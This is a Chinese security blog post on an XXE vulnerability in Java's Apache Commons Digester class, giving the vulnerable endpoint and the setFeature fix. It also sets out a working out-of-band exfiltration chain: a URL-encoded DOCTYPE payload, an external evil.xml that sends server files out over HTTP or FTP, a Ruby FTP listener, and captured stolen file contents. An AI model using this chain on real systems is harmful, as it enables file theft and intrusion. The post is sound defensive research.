JoyChou JoyChou

JAVA XXE Vulnerability

Web 阅读(1910) 文章转载请注明来源!

0x00 前言

今天遇到一个Java XXE漏洞,需要修复方案,网上的方案试了都不行。
最后发现,需要使用造成XXE漏洞类的setFeature方法设置disallow-doctype-decl为true。

最后给find-sec-bugs提了一个ISSUE,详情可以看 https://github.com/find-sec-bugs/find-sec-bugs/issues/362

0x01 漏洞代码

造成Java XXE漏洞的代码,真的非常多。比如下面的漏洞代码。

import包名

import org.apache.commons.digester3.Digester;

maven配置

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-digester3</artifactId>
            <version>3.2</version>
        </dependency>

代码


    @RequestMapping("/xxe")
    @ResponseBody
    public static String xxetest(HttpServletRequest request) {
        try {
            String xml_con = request.getParameter("xml").toString();
            Digester digester = new Digester();
            digester.parse(new StringReader(xml_con));
            return "test";
        } catch (Exception e) {
            return "except";
        }
    }

这个代码使用Digester类,所以最后修复代码需要使用该类的setFeature方法。

修复代码:

    public static String xxetest(HttpServletRequest request) {
        try {
            String xml_con = request.getParameter("xml").toString();
            Digester digester = new Digester();
            // parse解析之前设置
            digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            digester.parse(new StringReader(xml_con));
            return "test";
        } catch (Exception e) {
            return "except";
        }
    }

再次利用时,会提示将功能"http://apache.org/xml/features/disallow-doctype-decl"设置为"真"时,不允许使用DOCTYPE。所以,这应该是在检测解析的内容是否有DOCTYPE,DOCTYPE是定义DTD的宏。黑盒测试,检测的内容为<!DOCTYPE,毕竟设置的features为disallow-doctype-decl

其他类造成的XXE修复方案,可以参考这个文档。http://find-sec-bugs.github.io/bugs.htm

0x02 payload

该payload读取/etc/redhat-release文件内容。该文件内容一般情况下只有一行,所以用来证明XXE的任意文件读取,还比较合适。

URL编码后的payload:

<%3fxml+version%3d"1.0"%3f><!DOCTYPE+root+%5b<!ENTITY+%25+remote+SYSTEM+"http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml">%25remote%3b%5d><root%2f>

解码为:

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://test.joychou.me:8081/evil.xml">%remote;]><root/>

http://test.joychou.me:8081/evil.xml的内容如下:

<!ENTITY % payload SYSTEM "file:///etc/redhat-release">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://test.joychou.me:8081/%payload;'>">
%int;
%trick;

用这个的方式,可以来证明任意文件读取。

0x03 协议问题

Java在Blind XXE的利用上,读取文件会有些问题。

在PHP中,我们可以使用php://filter/read=convert.base64-encode/resource=/etc/hosts方法将文本内容进行base64编码。

Java中,没这样编码方法,所以如果要读取换行的文件,一般使用FTP协议,HTTP协议会由于存在换行等字符,请求会发送失败。

FTP读取方法可以参考这篇文章,里面也有FTP Server的相关代码。http://www.voidcn.com/article/p-njawsjxm-ko.html

开启一个匿名登录的FTP Server,端口为33的ruby脚本,ftp.rb

require 'socket'
server = TCPServer.new 33 
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
           #puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end

http://test.joychou.me:8081/evil.xml的内容如下:

<!ENTITY % payload SYSTEM "file:///tmp/1.txt">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://test.joychou.me:33/%payload;'>">
%int;
%trick;

目的是读取XXE漏洞服务器上的/tmp/1.txt文件。

test.joychou.me服务器上执行ruby ftp.rb

访问URL,http://localhost:8080/xxe?xml=%3C%3fxml+version%3d%221.0%22%3f%3E%3C!DOCTYPE+root+%5b%3C!ENTITY+%25+remote+SYSTEM+%22http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml%22%3E%25remote%3b%5d%3E%3Croot%2f%3E

/tmp/1.txt的内容为

$ cat /tmp/1.txt
test
xxe
ftp

FTP Server收到以下内容:

New client connected
< USER anonymous
< PASS Java1.8.0_121@
< TYPE I
< EPSV ALL
< EPSV
< EPRT |1|172.17.29.150|60731|
< RETR test
< xxe
< ftp

可以看到完全读取了/tmp/1.txt的内容,并且还包括XXE漏洞服务器的内网IP 172.17.29.150

不过有些字符只要存在,文件内容就会读取不到,比如#等字符,哪行有这些字符,读取前一行就结束。大家可以自行测试。

0x04 漏洞修复代码

把修复代码放在了github上。https://github.com/JoyChou93/java-sec-code

0x05 总结

  1. 漏洞测试,最好使用HTTP协议读取/etc/redhat-release等一行内容的文件。
JoyChou WeChat Pay

微信打赏

JoyChou Alipay

支付宝打赏

xxe java
最后由admin修改于2018-01-17 14:53
发表新评论
已有 4 条评论
  1. zhutougg
    zhutougg
    回复

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    这个也可以

    1. admin
      admin本文作者
      回复

      @zhutougg 你提供的这种修复方法不适用于Digester类造成的XXE。
      针对DocumentBuilder造成的XXE漏洞,应该可以使用你提供的这种方法。
      如果有疑问,可以亲自测试,我已经测试过了。文章中,已经注明了 需要使用造成XXE漏洞类的setFeature方法设置disallow-doctype-decl为true

    2. admin
      admin本文作者
      回复

      @zhutougg 今天刚好用了你提供的这个方法修复DocumentBuilder造成的XXE漏洞,发现dbf.setExpandEntityReferences(false)这个方法修复失败。建议还是使用setFeature的方法。

博客已经运行
© Powered by JoyChou (2013-2018)
前篇 后篇
雷姆
拉姆